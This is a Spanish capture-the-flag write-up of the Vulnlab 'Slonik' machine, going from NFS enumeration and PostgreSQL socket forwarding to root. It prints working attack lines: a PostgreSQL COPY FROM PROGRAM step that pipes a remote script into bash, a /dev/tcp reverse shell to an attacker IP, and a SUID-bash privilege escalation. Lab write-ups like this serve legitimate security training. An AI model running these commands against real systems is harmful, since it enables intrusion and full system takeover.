Slonik – Writeup (Vulnlab)

NMAP
Comenzamos el reconocimiento de servicios y puertos a través de NMAP
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 2d:8d:0a:43:a7:58:20:73:6b:8c:fc:b0:d1:2f:45:07 (ECDSA)
|_ 256 82:fb:90:b0:eb:ac:20:a2:53:5e:3c:7c:d3:3c:34:79 (ED25519)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 43504/udp6 mountd
| 100005 1,2,3 47327/tcp mountd
| 100005 1,2,3 50322/udp mountd
|_ 100005 1,2,3 50865/tcp6 mountd
2049/tcp open nfs 3-4 (RPC #100003)
32815/tcp open status 1 (RPC #100024)
42617/tcp open nlockmgr 1-4 (RPC #100021)
47327/tcp open mountd 1-3 (RPC #100005)
56263/tcp open mountd 1-3 (RPC #100005)
58429/tcp open mountd 1-3 (RPC #100005)
Service Info: OS: Linux
Puerto 2049
El puerto 2049 es conocido por ser utilizado por el servicio de Network File System (NFS). NFS es un protocolo de sistema de archivos distribuido que facilita a los usuarios el acceso y la compartición de archivos entre diferentes sistemas dentro de una red. Este protocolo es especialmente útil en entornos donde se requiere un acceso compartido a archivos de manera eficiente.
Para obtener información sobre los recursos compartidos, podemos utilizar el comando showmount, que nos proporciona una lista de las exportaciones disponibles en el servidor NFS:
showmount -e 10.10.127.69

Observamos dos carpetas compartidas: /var/backups y /home. Procedemos a montarlas para explorar su contenido y buscar info valiosa:
sudo mount -t nfs 10.10.121.184: . -o nolock
Una vez montadas trato de enumerar y noto que para acceder a /home/service/ no tengo los permisos suficientes, veo que puede hacerlo el usuario 1337, ya que es el owner, por ende procedo a crearlo localmente y le asigno el mismo UID.
sudo useradd -u 1337 1337 --badname
sudo passwd 1337
su 1337
Una vez soy 1337 voy a poder acceder a la carpeta service.

Dentro de esta carpeta, encuentro varios archivos interesantes que podrían contener pistas sobre cómo proceder. El archivo .bash_history revela comandos previamente ejecutados:

El archivo .psql_history también proporciona información valiosa:

Destaca el usuario service y un hash aaabf0d39951f3e6c3e8a7911df524c2. Al verificar este hash en CrackStation, descubrimos que corresponde a la contraseña “service“.

Intento iniciar sesión a través de SSH con las credenciales válidas, pero el sistema cierra la conexión automáticamente.

Luego de un rato de seguir enumerando, chequeo la info que dan sobre el user al principio de la maquina:

Y luego de un poco de Googling, recuerdo que el .bash_history nos mostraba la linea siguiente:
file /var/run/postgresql/.s.PGSQL.5432
Este path específico es un archivo de socket Unix utilizado para la comunicación entre procesos del sistema, en este caso, entre aplicaciones y el servidor de la base de datos PostgreSQL.
Con esta información más clara, procedo a crear un PortForwarding con SSH, utilizando las credenciales que tenemos y configurando correctamente el socket remoto para conectarnos con el cliente PostgreSQL.
ssh -N -L /tmp/.s.PGSQL.5433:/var/run/postgresql/.s.PGSQL.5432 service@slonik.vl

Luego, nos conectamos con PostgreSQL:
psql -h /tmp -U postgres -p 5433

PostgreSQL
Con el comando \list, puedo listar todas las bases de datos disponibles:

Después de verificar las bases de datos, noto que lo único que obtengo es el hash del usuario service que ya tenemos. Entonces, investigo si es posible crear una reverse shell como usuario postgres.
Verifico que tengo Command Execution y realizo lo siguiente para obtener una reverse shell:
#!/bin/bash
bash -i >& /dev/tcp/10.8.0.147/443 0>&1
Desde postgres cli:
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'curl http://10.8.0.147/s | bash';
SELECT * FROM cmd_exec;
Finalmente obtengo revshell:
sudo rlwrap nc -lnvvp 443

Una vez que tengo la reverse shell, y después de enumerar un poco, establezco una conexión más estable con SSH y mantengo persistencia.
PSPY
Procedo a subir el PSPY a /tmp y luego lo ejecuto para monitorear procesos en ejecución:

Observo que se ejecuta un archivo en /usr/bin/backup como ROOT. Al verificar el código, noto lo siguiente:
#!/bin/bash
date=$(/usr/bin/date +"%FT%H%M")
/usr/bin/rm -rf /opt/backups/current/*
/usr/bin/pg_basebackup -h /var/run/postgresql -U postgres -D /opt/backups/current/
/usr/bin/zip -r "/var/backups/archive-$date.zip" /opt/backups/current/
count=$(/usr/bin/find "/var/backups/" -maxdepth 1 -type f -o -type d | /usr/bin/wc -l)
if [ "$count" -gt 10 ]; then
/usr/bin/rm -rf /var/backups/*
fi
/usr/bin/zip -r "/var/backups/archive-$date.zip" /opt/backups/current/
Lo interesante de este script es que todo lo que creemos dentro de este path /var/lib/postgresql/14/main se hará backup en /opt/backups/current/ y será realizado por ROOT.

Creando bash suid para Privilege Escalation
cp /bin/bash pwn
chmod u+s pwn

Si ahora voy a /opt/backups/current, vemos que lo backupea como ROOT:

Ahora solo resta rootear:
./pwn -p

Pwned!





